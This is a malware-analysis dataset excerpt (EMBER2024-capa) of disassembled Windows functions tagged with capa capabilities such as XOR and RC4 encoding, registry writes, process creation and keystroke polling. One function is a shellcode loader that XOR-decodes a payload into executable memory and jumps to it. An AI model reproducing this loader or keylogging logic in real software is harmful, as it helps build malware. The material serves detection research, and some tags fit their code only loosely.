joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7ff7ef3a
Capabilities:
Terminate process

Disassembly:
mov eax, 0x7ff94c36
call fcn.7ff890d8
sub esp, 0x48
cmp dword [0x7ffa5f44], 0
je 0x7ff7f022
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x28]
shr eax, 0xd
and eax, 3
test eax, eax
jne 0x7ff7efc1
mov eax, dword [ebp + 8]
cmp dword [eax + 0x40], 1
je 0x7ff7efc1
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x30]
mov dword [ebp - 0x34], eax
push dword [ebp - 0x34]
push dword [0x7ffa5e2c]
push str._s_is_trying_to_install__s_nfrom_the_Internet_but_you_dont_have_Winsock_installed._nTo_use_this_feature_please_install_Windows_TCPIP_Networking
lea eax, [ebp - 0x20]
push eax
call fcn.7ff85dd0
add esp, 0x10
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
push 0
push str.Networking_Error
push dword [ebp - 0x3c]
push 0
call dword [0x7ff963d8]
lea ecx, [ebp - 0x20]
call fcn.7ff86114
mov eax, dword [ebp + 8]
mov dword [eax + 0x40], 1
jmp 0x7ff7f022
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x28]
shr eax, 0xd
and eax, 3
cmp eax, 2
jne 0x7ff7f022
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x30]
mov dword [ebp - 0x40], eax
push dword [ebp - 0x40]
push dword [0x7ffa5e2c]
push str._s_is_must_install__s_nfrom_the_Internet_but_you_dont_Winsock_nPlease_Install_Windows_TCPIP_Networking_and_run_this_program_again.
lea eax, [ebp - 0x24]
push eax
call fcn.7ff85dd0
add esp, 0x10
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
push 0
push str.Networking_Error
push dword [ebp - 0x48]
push 0
call dword [0x7ff963d8]
lea ecx, [ebp - 0x24]
call fcn.7ff86114
push 0
call dword [0x7ff962c4]
cmp dword [0x7ffa5f40], 0
jne 0x7ff7f032
xor eax, eax
jmp 0x7ff7f0e7
mov eax, dword [ebp + 8]
cmp dword [eax + 0x40], 2
jne 0x7ff7f043
push 1
pop eax
jmp 0x7ff7f0e7
and dword [ebp - 0x28], 0
lea eax, [ebp - 0x28]
mov dword [ebp - 0x54], eax
and dword [ebp - 4], 0
push dword [ebp - 0x54]
mov ecx, dword [ebp + 8]
call fcn.7ff61550
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x18], 0x7ffa5998
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x50], eax
push dword [ebp - 0x4c]
call fcn.7ff865bd
pop ecx
mov ecx, dword [ebp - 0x50]
mov dword [ecx], eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x28]
call fcn.7ff86114
lea eax, [ebp - 0x18]
push eax
call dword [0x7ffa5f40]
pop ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x7ff7f0a8
cmp dword [ebp - 0x1c], 1
jne 0x7ff7f0ca
mov eax, dword [ebp + 8]
mov dword [eax + 0x40], 2
mov dword [ebp - 0x2c], 1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.7ff86114
mov eax, dword [ebp - 0x2c]
jmp 0x7ff7f0e7
mov eax, dword [ebp + 8]
mov dword [eax + 0x40], 1
and dword [ebp - 0x30], 0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.7ff86114
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
leave
ret
Function at 0x7ff87a16
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov dword [eax], 0x7ff96498
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
mov dword [eax + 0x10], ecx
mov eax, dword [ebp - 4]
mov dword [eax], 0x7ff9bd4c
mov eax, dword [ebp - 4]
and dword [eax + 8], 0
push 0
push dword [ebp + 8]
call dword [0x7ff960e4]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0xc], eax
mov eax, dword [ebp - 4]
and dword [eax + 0x14], 0
mov eax, dword [ebp - 4]
and dword [eax + 4], 0
mov eax, dword [ebp - 4]
leave
ret 4

Function at 0x7ff8bf86
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x7ffa2cb0
cmp edx, dword [eax]
je 0x7ff8bfa8
add eax, 8
inc ecx
cmp eax, 0x7ffa2d40
jl 0x7ff8bf99
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x7ffa2cb0]
jne 0x7ff8c0d6
mov eax, dword [0x7ffa60bc]
cmp eax, 1
je 0x7ff8c0b0
test eax, eax
jne 0x7ff8bfd9
cmp dword [0x7ffa29c4], 1
je 0x7ff8c0b0
cmp edx, 0xfc
je 0x7ff8c0d6
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [0x7ff962c0]
test eax, eax
jne 0x7ff8c010
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.7ff8da50
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.7ff89730
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x7ff8c053
lea eax, [ebp - 0x1a4]
push eax
call fcn.7ff89730
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x7ff9c254
push edi
call fcn.7ff8e680
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.7ff8da50
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.7ff8da60
lea eax, [ebp - 0xa0]
push 0x7ff9c234
push eax
call fcn.7ff8da60
push dword [esi + 0x7ffa2cb4]
lea eax, [ebp - 0xa0]
push eax
call fcn.7ff8da60
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.7ff8e5e8
add esp, 0x2c
pop edi
jmp 0x7ff8c0d6
lea eax, [ebp + 8]
lea esi, [esi + 0x7ffa2cb4]
push 0
push eax
push dword [esi]
call fcn.7ff89730
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [0x7ff962d0]
push eax
call dword [0x7ff962cc]
pop esi
leave
ret
Function at 0x10006089
Capabilities:
Resume thread

Disassembly:
push 0x10
mov eax, 0x10011324
call fcn.10010dbc
mov ebx, ecx
mov dword [ebp - 0x18], ebx
cmp byte [ebx + 4], 0
jne 0x100061ed
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
cmp eax, dword [ebx]
jne 0x100061ed
push 0x1000334a
push 0xd008
call fcn.10007073
mov edi, eax
mov dword [ebp - 0x1c], edi
pop ecx
pop ecx
test edi, edi
je 0x100061e6
push 0xc000
xor ebx, ebx
push ebx
push edi
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xc000], ebx
lea eax, [edi + 0xc004]
push 0x1000
push ebx
push eax
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xd004], ebx
test edi, edi
je 0x100061e6
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
lea ecx, [ebp - 0x1c]
call fcn.10007073
mov ecx, edi
mov dword [ebp - 4], ebx
call fcn.10007073
mov esi, eax
push esi
push 0x10003028
mov dword [ebp - 0x10], esi
call fcn.10007073
pop ecx
pop ecx
test esi, esi
jne 0x1000619a
mov ecx, edi
call fcn.10007073
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100061fa
mov eax, dword [eax]
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x10014250]
mov ecx, dword [ebp - 0x14]
call esi
call fcn.10007073
test eax, eax
je 0x10006190
jg 0x10006175
mov esi, eax
mov dword [ebp - 0x10], eax
jmp 0x10006181
movzx esi, ax
or esi, 0x80070000
mov dword [ebp - 0x10], esi
push esi
push 0x10003050
call fcn.10007073
pop ecx
pop ecx
jmp 0x1000619a
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x10]
mov byte [eax + 4], 1
lea ecx, [ebp - 0x1c]
call fcn.1000704c
lea eax, [edi + 0xc000]
mov dword [ebp - 0x1c], eax
cmp dword [eax], ebx
jbe 0x100061ce
lea esi, [edi + 8]
test byte [esi - 4], 1
je 0x100061c3
push dword [esi]
call dword [sym.imp.kernel32.dll_ResumeThread]
mov eax, dword [ebp - 0x1c]
inc ebx
add esi, 0xc
cmp ebx, dword [eax]
jb 0x100061b2
mov esi, dword [ebp - 0x10]
mov ecx, edi
call fcn.10007073
push 0xd008
push edi
call fcn.10007073
pop ecx
pop ecx
mov eax, esi
jmp 0x100061f2
mov eax, 0x8007000e
jmp 0x100061f2
mov eax, 0x800710dd
call fcn.10010d85
ret 4
call fcn.10007073
int3

Function at 0x10007073
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x10007082
pop dword [ebp - 0x28]
mov eax, 0xd729e5ae
add eax, 0x38d68ad4
sub dword [ebp - 0x28], eax
push 0x40
push 0x1000
push 0x38581
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x28]
call dword [eax]
mov ecx, 0x4542
mov edi, eax
mov edx, 0x326b187
add edx, 0xcdad479
add edx, dword [ebp - 0x28]
mov esi, 0x9d253cad
sub esi, 0xdfad4905
sub dword [ebp - 8], 0x92aef68e
mov ebx, dword [edx]
add dword [ebp - 8], ecx
xor ebx, esi
add dword [ebp - 0x24], 0x8ba13063
mov dword [edi], ebx
xor dword [ebp - 8], 0xeb3b9c5a
add edi, 0x1a2c2fa3
sub edi, 0x1a2c2f9f
add edx, 0x548b1483
sub edx, 0x548b147f
loop 0x100070d6
add eax, 0x107db
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x10101580
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x101cfe90
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
mov eax, dword [esp + 0x30]
push ebp
push esi
push edi
mov ecx, dword [eax]
push ecx
lea ecx, [esp + 0x10]
call fcn.101c4c90
mov esi, dword [esp + 0xc]
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0
xor ebp, ebp
call fcn.10104740
mov ecx, dword [esp + 0x40]
mov byte [esp + 0x2c], 1
cmp ecx, 3
ja case.default.0x101015d4
jmp dword [ecx*4 + 0x1010173c]
mov al, byte [esi]
test al, al
je 0x10101602
cmp al, 0x20
je 0x101015ee
cmp al, 0xa1
jne 0x10101602
cmp byte [esi + 1], al
jne 0x10101602
test al, 0x80
je 0x101015fa
mov al, byte [esi + 1]
inc esi
test al, al
je 0x10101602
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x101015e1
test ecx, ecx
je case.default.0x101015d4
mov dl, byte [esi]
xor ecx, ecx
test dl, dl
mov eax, esi
je case.default.0x101015d4
mov edi, dword [esp + 0x3c]
mov dl, byte [eax]
test dl, 0x80
je 0x10101648
cmp dl, 0xa1
jne 0x1010163c
cmp byte [eax + 1], 0xa1
jne 0x1010163c
test ecx, ecx
jne 0x10101634
mov edi, eax
mov ecx, 1
inc eax
jmp 0x1010165c
mov dl, byte [eax + 1]
inc eax
xor ecx, ecx
test dl, dl
je 0x10101676
jmp 0x1010165c
cmp dl, 0x20
jne 0x1010165a
test ecx, ecx
jne 0x10101653
mov edi, eax
mov ecx, 1
jmp 0x1010165c
xor ecx, ecx
mov dl, byte [eax + 1]
inc eax
test dl, dl
jne 0x1010161c
cmp ecx, 1
jne case.default.0x101015d4
mov dl, byte [edi]
mov ebp, edi
mov byte [esp + 0x3c], dl
mov byte [edi], 0
jmp case.default.0x101015d4
mov dl, byte [eax - 1]
lea edi, [eax - 1]
mov ebp, edi
mov byte [esp + 0x3c], dl
mov byte [edi], 0
jmp case.default.0x101015d4
mov al, byte [esi]
test al, al
je 0x101016ce
test al, 0x80
mov byte [esp + 0x3c], al
je 0x101016b4
mov cl, byte [esi + 1]
test cl, cl
je 0x101016ce
cmp al, 0xa1
jne 0x101016a4
cmp cl, al
je 0x101016b1
mov ax, word [esi]
lea ecx, [esp + 0x10]
push eax
call fcn.10104a10
inc esi
jmp 0x101016c6
cmp al, 0x20
je 0x101016c6
mov ecx, dword [esp + 0x3c]
push ecx
lea ecx, [esp + 0x14]
call fcn.10104a50
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x1010168d
push 0
lea ecx, [esp + 0x14]
call fcn.10104a50
mov esi, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.10117f70
mov edx, dword [esp + 0x38]
add esp, 4
test ebp, ebp
mov dword [edx], eax
je 0x10101701
mov al, byte [esp + 0x3c]
mov byte [ebp], al
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 0
mov dword [esp + 0x10], 0x10340200
call fcn.10104940
lea ecx, [esp + 0xc]
mov dword [esp + 0x2c], 0xffffffff
call fcn.101c4c22
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x24
ret
Function at 0x101039f0
Capabilities:
Access peb ldr_data
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x101cffb8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
mov eax, dword [0x10371d10]
push ebx
push esi
push edi
mov dword [esp + 0xc], eax
mov esi, dword [esp + 0x30]
mov edi, dword [esp + 0x2c]
lea ecx, [esp + 0x2c]
push esi
lea edx, [esp + 0x10]
push ecx
lea eax, [esp + 0x18]
push edx
push eax
push edi
mov dword [esp + 0x30], 0
call fcn.10103890
add esp, 0x14
dec esi
neg esi
sbb esi, esi
mov eax, dword [esp + 0xc]
mov ebx, dword [esp + 0x24]
add esi, 3
lea edx, [esp + 0x30]
lea ecx, [esi + esi*2]
push edx
push 0x20006
push 0
lea esi, [edi + ecx*4]
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov dword [ebx], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10103a92
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x30]
push edx
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x10103b4b
mov edx, dword [esi + 8]
push edx
call fcn.10116ba0
add esp, 4
test eax, eax
mov eax, dword [esi + 8]
je 0x10103ae2
cmp eax, 0x80000301
jne 0x10103ab0
mov eax, dword [esi]
jmp 0x10103abd
push 0
push esi
push 0x7d1
call fcn.1011c210
mov edx, dword [esp + 0x2c]
lea ecx, [esp + 0x24]
push 4
push ecx
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x38]
push 4
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x10103b40
jmp 0x10103b3a
cmp eax, reloc.WS2_32.dll_connect
jne 0x10103b11
mov esi, dword [esi]
or ecx, 0xffffffff
mov edi, esi
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esp + 0x30]
not ecx
push ecx
mov ecx, dword [esp + 0x30]
push esi
push 1
push eax
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x10103b40
jmp 0x10103b3a
cmp eax, reloc.WS2_32.dll_getpeername
jne 0x10103b40
mov esi, dword [esi]
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x30]
mov eax, dword [esi + 4]
add esi, 8
push eax
push esi
push 3
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x10103b40
mov dword [ebx], 1
mov eax, dword [esp + 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0xc]
mov dword [esp + 0x1c], 0xffffffff
call fcn.101c4c22
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x1010ec20
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x101d0adb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.101c4997
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x1010eca2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.101c20d2
mov eax, dword [eax]
push 0x1035a2a8
push eax
call fcn.1019c514
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.101c4c22
test bl, bl
je 0x1010eca2
push 0x1035a2a8
lea ecx, [esp + 0xc]
call fcn.101c4fb2
push 0x1035de2c
lea ecx, [esp + 0xc]
call fcn.101c4fb2
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x1010ecde
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.101c4c22
jmp 0x1010eda9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x1010ed62
lea edx, [esp + 0x7c]
push 0x1035de28
push edx
call fcn.1019c514
add esp, 8
test eax, eax
je 0x1010ed62
lea eax, [esp + 0x7c]
push 0x1035de24
push eax
call fcn.1019c514
add esp, 8
test eax, eax
je 0x1010ed62
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1010ecf2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.101c4c22
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x1010f5a0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x1010f602
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x1010f610
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x101d0b5b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x10371d10]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x1010f748
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x1010f676
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.101c4c22
xor eax, eax
jmp 0x1010f7bf
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.101c4d5f
push esi
lea ecx, [esp + 0xc]
call fcn.101c4fee
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x1010f79d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.1010f5a0
test eax, eax
jne 0x1010f79d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.1010f5a0
test eax, eax
jne 0x1010f79d
lea eax, [esp + 0x14]
push 0x1035de40
push eax
call fcn.1019d760
mov esi, eax
add esp, 8
test esi, esi
jne 0x1010f77c
lea ecx, [esp + 0x14]
push 0x1035de3c
push ecx
call fcn.1019d6e0
mov esi, eax
add esp, 8
test esi, esi
jne 0x1010f77c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x1010f77f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.101c4d0f
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x1010f68e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.101c4c22
xor eax, eax
jmp 0x1010f7bf
mov byte [esi], 0
push 0x1035de38
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.101c4c22
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x10123c60
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x10123cce
cmp si, 0x69
ja 0x10123cce
add esi, 0xffd0
cmp si, 0x11
je 0x10123c9e
push 0x11
call edi
test ax, ax
jge 0x10123c9e
or esi, 0x2000
cmp si, 0x10
je 0x10123cb3
push 0x10
call edi
test ax, ax
jge 0x10123cb3
or esi, 0x4000
cmp si, 0x12
je 0x10123cc8
push 0x12
call edi
test ax, ax
jge 0x10123cc8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x10123cdb
mov esi, 0xbd
jmp 0x10123c8f
cmp si, 0x6e
jne 0x10123ce8
mov esi, 0xbe
jmp 0x10123c8f
cmp si, 0x6f
jne 0x10123c89
mov esi, 0xbf
jmp 0x10123c8f

Function at 0x10125480
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x1042f418]
xor edx, edx
cmp eax, edx
jne 0x101254a6
xor eax, eax
mov byte [eax + 0x1042f318], al
inc eax
cmp eax, 0x100
jl 0x1012548e
mov dword [0x1042f418], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x1042f318
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x10125537
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x1012550a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x101254d8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x101255b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x10125603
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x101255ea
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10128b40
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x101d22d8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, dword [esp + 0x40]
push esi
lea ecx, [esp + 0x20]
call fcn.101cb695
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0xc]
push eax
push ecx
mov dword [esp + 0x40], 0
call dword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [esp + 0x18]
mov esi, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub eax, esi
sub ecx, edx
mov edx, dword [esp + 0x4c]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x48]
mov dword [esp + 4], ecx
mov ecx, dword [esp + 0x44]
push edx
push eax
lea edx, [esp + 0xc]
push ecx
lea eax, [esp + 0x28]
push edx
push eax
call fcn.10128a10
add esp, 0x14
lea ecx, [esp + 0x1c]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.101cb707
mov ecx, dword [esp + 0x30]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x10128be0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x101d22f8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push esi
push edi
push 0
lea ecx, [esp + 0x14]
call fcn.101cb5e1
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
mov dword [esp + 0x30], 0
call esi
push 1
mov edi, eax
call esi
mov ecx, dword [esp + 0x38]
mov edx, dword [esp + 0x34]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x3c]
push eax
push ecx
lea eax, [esp + 0x10]
push edx
lea ecx, [esp + 0x1c]
push eax
push ecx
mov dword [esp + 0x1c], edi
call fcn.10128a10
add esp, 0x14
lea ecx, [esp + 0x10]
mov esi, eax
mov dword [esp + 0x2c], 0xffffffff
call fcn.101cb653
mov ecx, dword [esp + 0x24]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x28
ret